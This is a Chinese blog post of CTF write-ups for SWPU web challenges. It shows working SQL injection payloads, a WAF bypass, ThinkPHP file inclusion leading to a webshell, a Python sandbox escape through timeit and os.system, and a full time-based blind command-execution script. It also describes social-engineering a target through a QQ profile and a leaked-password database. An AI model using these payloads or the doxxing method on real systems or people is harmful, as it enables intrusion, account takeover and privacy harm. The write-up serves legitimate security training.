Imanfeng

Menu

Swpu_web_wp

你能进入后台吗?

出题思路:考察php_screw加密和md5加密后的注入。
题目解法:
备份文件index.php.bak,下载打开,可以发现代码经过加密处理

右键查看源代码,可以发现注释里面的crypt key
可以发现是php_screw加密,github上面搜索可以发现解密程序
根据https://github.com/firebroo/screw_decode解密即可

查看解密后的index.php.decode可以发现password经过md5($password,true)

提供个字符串ffifdyop,md5($password,true)加密后为’or’6<trash>,造成注入,
输入任意用户名,密码ffifdyop得flag:flag{mD5_1nject1on_pHp_scr3w_1nt3re5t1ng}

flag!flag

出题思路:parse_url解析url的一个漏洞。然后决定出这个。

题目解法:首先进去时一个很明显的文件包含

http://39.106.13.2/web2/file.php?file=index
然后在web2目录下有index这个文件,所以猜测这里有文件包含,右键查看源代码发现有个check.php的提示,用php://filter/read=convert.base64-encode/resource=check可以读取源代码

<?php
error_reporting(0);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array){
        foreach($array as $key=>$value){
                if(!is_array($value)){                                        $check=preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
                        if($check)
                                {
                                exit("Stop hacking by using SQL injection!");

                        }

                }else{
                        $array[$key]=Add_S($array[$key]);
                }
        }
return $array;
}

function check_url()
{
    $url=parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    $key_word=array("select","from","for","like");
    foreach($query as $key)
    {
        foreach($key_word as $value)
        {
		   foreach($key_word as $value)
        {
            			if(preg_match("/".$value."/",strtolower($key)))
            {
                			die("Stop hacking by using SQL injection!");
            }
        }
    }
}
?>
代码还是很简单的,其实就是parse_url对url解析的时候有问题 ///x.php?file=xxx这种格式会返回false,preg_match就不会匹配到任何字符串了。 BUG#55111 参考 所以最后的payload:
http://39.106.13.2///web2/article_show_All.php?a_id=1’/(ascii(mid((select flag from flag)from(1)))>0)%23

最后写一个脚本就能跑出flag:flag{08067_Fl4g_tsfaxiewinli}

我们来做个小游戏吧

  • 出题思路:考点在于全局转义的情况下如何引入单引号,从而注入得到我们需要的字段(感谢 @xyz 的出题)

下载源码,可以看到做了全局转义,而在 session.class.php 中:

<?php
/**
 * Created by PhpStorm.
 * User: xyz
 * Date: 2017/7/4
 * Time: 9:29
 */
class session
{

    function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID')
    {
        $this->dbConn  = $db;
        $this->session_name = $session_name;
        $this->session_table = $session_table;
        $this->_ip = $this->real_ip();

        if ($session_id == '' && !empty($_COOKIE[$this->session_name]))
        {
            $this->session_id = $_COOKIE[$this->session_name];
        }
        else
        {
            $this->session_id = $session_id;
        }
        if ($this->session_id)
        {
            $tmp_session_id = substr($this->session_id, 0, 32);
            if ($this->gen_session_key($tmp_session_id) === substr($this->session_id, 32))
            {
                $this->session_id = $tmp_session_id;
            }
            else
            {
                $this->session_id = '';
            }
        }
        if ($this->session_id)
        {
            $this->load_session();
        }
        else
        {
            $this->gen_session_id();

            setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));
        }

    }

    function insert_session()
    {
        return $this->dbConn->query('INSERT INTO ' . $this->session_table . " (session_id, ip, data) VALUES ('" . $this->session_id ."', '". $this->_ip ."', 'a:2:{s:4:\"name\";s:5:\"guest\";s:5:\"score\";s:1:\"0\";}')");
    }

    function load_session()
    {
        $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
        $session = $res->fetch_array();
        if (empty($session))
        {
            $this->insert_session();
        }
        else
        {
            $GLOBALS['_SESSION']  = unserialize($session['data']);
        }
    }

    function update_session()
    {
        $data = serialize($GLOBALS['_SESSION']);

        $data = addslashes($data);

        return $this->dbConn->query('UPDATE ' . $this->session_table . " SET ip = '" . $this->_ip . "',  data = '$data' WHERE session_id = '" . $this->session_id . "'");
    }

    function gen_session_id()
    {
        $this->session_id = md5(uniqid(mt_rand(), true));

        return $this->insert_session();
    }

    function gen_session_key($session_id)
    {
        static $ip = '';

        if ($ip == '')
        {
            $ip = substr($this->_ip, 0, strrpos($this->_ip, '.'));
        }

        return sprintf('%08x', crc32($ip . $session_id));
    }

    function real_ip()
    {
        static $realip = NULL;

        if ($realip !== NULL)
        {
            return $realip;
        }

        if (isset($_SERVER))
        {
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            {
                $realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            elseif (isset($_SERVER['HTTP_CLIENT_IP']))
            {
                $realip = $_SERVER['HTTP_CLIENT_IP'];
            }
            else
            {
                if (isset($_SERVER['REMOTE_ADDR']))
                {
                    $realip = $_SERVER['REMOTE_ADDR'];
                }
                else
                {
                    $realip = '0.0.0.0';
                }
            }
        }
        else
        {
            $realip = '0.0.0.0';
        }
        return $realip;
    }

}

直接是用拼接的方式进行数据库语句查询操作的,但我们可控变量都是放在单引号里包裹的,所以我们首要的是如何吃掉一个单引号,注意这两行代码:

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)){
    $this->session_id = $tmp_session_id;
}

这里对 $this->session_id 做了截取,而 $this->session_id 的值是可以通过 $_COOKIE[$this->session_name] 控制的,所以我们可以通过在 cookie 里面传入 %00 ,这样经过全局转义后,赋值给 $this->session_id 就成了 \0,然后截取32位字符串的时候就可以控制其截取出 \ 了。在这里如果直接传入 ' 的话,在后面进行 if 判断的时候,截取字符串剩余后面第一位就是 ' 了,无法通过逻辑。
对于这个验证逻辑,我们来看看 $this->gen_session_key() 函数:

    function gen_session_key($session_id)
    {
        static $ip = '';

        if ($ip == '')
        {
            $ip = substr($this->_ip, 0, strrpos($this->_ip, '.'));
        }

        return sprintf('%08x', crc32($ip . $session_id));
    }

返回的是 16 进制的字符串,然后 ip 截取这里,我们只有控制不出现 . ,然后 $ip 就返回 false,这样返回的结果完全我们就可以控制了。于是我们构造 exp 如下:

<?php

function gen_session_key($session_id)
{
    static $ip = '';

    if ($ip == '')
    {
        $ip = substr($_SERVER['HTTP_X_FORWARDED_FOR'], 0, strrpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.'));
    }var_dump($ip);
    return sprintf('%08x', crc32($ip . $session_id));
}

echo gen_session_key('123456789012345678901234567890P\\');//06908aa7
?>

再来看看注入代码:

    function load_session()
    {
        $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
        $session = $res->fetch_array();
        if (empty($session))
        {
            $this->insert_session();
        }
        else
        {
            $GLOBALS['_SESSION']  = unserialize($session['data']);
        }
    }

就一眼明白了,通过 xff 引入注入语句,控制 $session['data'] 的值,最后传入:

X-Forwarded-For:  union select 0x613a323a7b733a343a226e616d65223b733a353a2261646d696e223b733a353a2273636f7265223b693a3130303b7d-- -
Cookie: SESSID=123456789012345678901234567890P%006908aa7

You Think I Think

  • 出题思路:
    主要想的考点有几个:
    1、thinkphp 路由规则
    2、thinkphp 模板包含:$this->display($name);
    3、thinkphp 模板中使用php代码的几种方式

这道题上线的时候有几个没注意的地方:
1、上线时没清缓存,使得在页面源代码直接出现的exp,有些师傅直接读到就开始打了(还好把自己传的图片删了)
2、之前以为是tp模板是默认不支持原生的php代码的,结果只是自己之前测试方式不对,导致包含出错,也导致了第三个考点根本没用上,不过也纠正了自己的误区(为师傅们打call)

<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller {

	public function _initialize(){
		if(!is_login()){
			redirect(U('Home/Login/login'));exit();
		}
	}

    public function index(){
        $where['id'] = intval(session('uid'));
        $info = M('users')->where($where)->find();

        $this->assign('username', $info['username']);
        $this->assign('head_image', $info['head_image']);

        $this->display();
    }

    //修改密码
    public function repass(){
        ! isset ( $_GET ['temp'] ) || $name = I ( 'get.temp', 'index', 'addslashes,htmlspecialchars');
        
        if (IS_POST) {
            $login = D('users');
            if (!$data = $login->create()) {
                // 防止输出中文乱码
                header("Content-type: text/html; charset=utf-8");
                $this->error($login->getError());
            }

            $re_oldpass = md5(I('post.oldpassword'));

            $where['id'] = intval(session('uid'));
            $oldpass = M('users')->where($where)->getField('password');
            
            if($re_oldpass === $oldpass){
                $User = M('users');
                //$User->password = $data;
                $User->where($where)->save($data);
                $this->success('修改密码成功,正跳转至系统首页...', U('Index/index'));
            }

        }else{
            $this->display($name);
        }
        
    }

    //修改头像
    public function rehead(){
        ! isset ( $_GET ['temp'] ) || $name = I ( 'get.temp', 'index', 'addslashes,htmlspecialchars');
        
        if (IS_POST) {
            if(!is_dir('./Upload/')){
                @mkdir('./Upload', 0755, true);
            }
            $upload = new \Think\Upload();// 实例化上传类
            $upload->maxSize   =     3145728 ;// 设置附件上传大小
            $upload->exts      =     array('jpg', 'png', 'jpeg');// 设置附件上传类型
            $upload->rootPath  =     './Upload/'; // 设置附件上传根目录
            $upload->savePath  =     ''; // 设置附件上传(子)目录
            $upload->saveName = md5(time().mt_rand().session(uid));
            // 上传文件 
            $info   =   $upload->upload();
            if(!$info) {// 上传错误提示错误信息
                $this->error($upload->getError());
            }else{// 上传成功
                $User = M('users');
                $data['head_image'] = "/Upload/".$info['photo']['savepath']."/".$info['photo']['savename'];

                $where['id'] = intval(session('uid'));
                $User->where($where)->save($data);

                $this->success('上传成功!',U('Index/index'));
            }
        }else{
            $this->display($name);
        }
        
    }

    /**
     * 用户注销
     */
    public function logout()
    {
        // 清楚所有session
        session(null);
        redirect(U('Login/login'));
    }
}

可以看到,在修改密码和上传头像处,都是可以控制进入 $this->display()函数的变量的,黑盒测试的时候,替换原本的 url 中的参数为 robots.txt ,即如下 url:
http://39.106.11.158/web1/index.php/home/index/repass/temp/robots.txt.html
即可看到包含进了 robots.txt,加上有上传图片的功能,因此很容易想到可以包含上传的图片getshell。
需要注意的点:
1、包含的时候 url 模式需要由 PATHINFO模式 改成 兼容模式,同时包含路径是相对于 index.php 文件的位置的
2、包含的图片不能过大,不然会出错,本来以为默认禁止了原生 php 代码,这次题目里就没这次禁用到,如果平时遇到禁用了的情况,是可以通过传入 <php></php> 这种格式来的 shell 的,具体见 :

ThinkPHP3.2完全开发手册–使用原生php代码

最后构造的exp:

http://39.106.11.158/web1/index.php?s=/home/index/repass&temp=./Upload/2017-11-04//5f3d47e74b2885c4e854abe4f06cf887.png

catch me if you can

这是道社工题,找线索细心些就不难做,首先是个黑页,留了个QQ号
直接放QQ里搜索,可以查到一个 sonic monkey 账户,无需加好友(有些师傅加了好友尽说骚话_(:з」∠)_ ,尴尬),空间没有设权限,进入空间从一堆动态中找到一条base64编码的说说

解码后

My Page : http://47.93.205.124:8001/

是一个个人主页的地址,访问是猴子的小金库,御剑扫一扫,发现后台

http://47.93.205.124:8001/manage_login.php

首页文章发表者就是用户名 sonic2011

右键查看源代码,发现页脚处留有邮箱 sonic@163.com

社工库走一发

帐号密码到手

用户:sonic2011
密码:019157f2299755ad90a3bb8473f8****

md5最后四位填充0-f任意即可,eg:019157f2299755ad90a3bb8473f81111

md5解密一波得密码 2010sonic
登陆得到flag

偷懒的出题人

出题思路: 在日常渗透中,容易遇见基于nginx的waf,利用反向代理实现类似“云waf”的效果,nginx在处理数据时,如果数据超长,就会导致不会被带入waf模块导致绕过,里面的触发题目是去年的web4,网上百度就可以找到解法了
题目解法:riji.php post传参 x=xxx(重复较多次)&id=-1 union select 1,2,flag from flag

python sandbox

  • 出题思路:这其实是一个我想做的python在线代码编辑练习的站点,因为要考虑其安全性,所以我把文件读写,网络请求和一些危险模块ban掉了,这样就形成了一个沙盒,也就出现了这道题目。

从师傅们的payload可以看到大多是这几种:

  1. __builtin__
  2. [].__class__.__base__.__subclasses__()魔术方法;
  3. 一些危险模块等

还有些师傅直接以为是pwn过沙盒,-。-!!但是其实没有那么复杂啊,这是一道web题,我后面给出的tips是:内置模块,内置函数,而python的内置模块百度下或者去官方还是很容易获得一个列表的,除去我ban掉的如os,sys等危险的模块,还有很多可以尝试的啊 .

  • 我这里给出的利用是来自一个常见的内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('')", number=1)

还有一个模块platform,同样也可以的

import platform
platform.popen('id', mode='r', bufsize=-1).read()

在timeit模块里利用__import__内置函数加载os模块,然后就可以任意命令执行了,但是cat flag是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。

于是这里就有了我以前碰到的一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce

具体详情可以参看我的blog:http://icematcha.win/?p=532

最后写个类似盲注的脚本跑跑就出来了:

#coding:utf-8 #author:icematcha import requests import sys import base64 payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890=" def request(url, data, timeout): try: res = requests.post(url, data = data, timeout = timeout) return res.content except: return True def get_length(url, cmd, timeout): length = '' for i in xrange(1,10): value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1) ''' % (cmd, i) data = {'process': value} res = request(url, data, timeout) if res: llength = i break for i in xrange(1, llength): for _ in xrange(1, 10): value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1) ''' % (cmd, i, _) data = {'process': value} if request(url, data, timeout): length += str(_) print length break return length def get_content(url, cmd, timeout, length): content = '' for i in xrange(1, int(length)+1): for payload in payloads: value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1) ''' % (cmd, i, payload) data = {'process': value} if request(url, data, timeout): content += payload print content break return content if __name__ == '__main__': length = get_length('http://47.95.252.234/runcode','cat flag', 2.0) print "## The base32 of content's length is:%s" % length content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length) print "## The base32 of content is:%s" % content print "## The commend result content is:%s" % base64.b32decode(content).strip()

师傅们一起来找flag

出题思路:很多厂商在修xxe的时候经常直接过滤<!ENTITY就认为安全了,其实不然可参考
解题思路:这道题就是在过滤了<!ENTITY的情况下实现xxe
构造payload


— 于 共写了10991个字
— 文内使用到的标签:

2条回应:“Swpu_web_wp”

发表评论

电子邮件地址不会被公开。 必填项已用*标注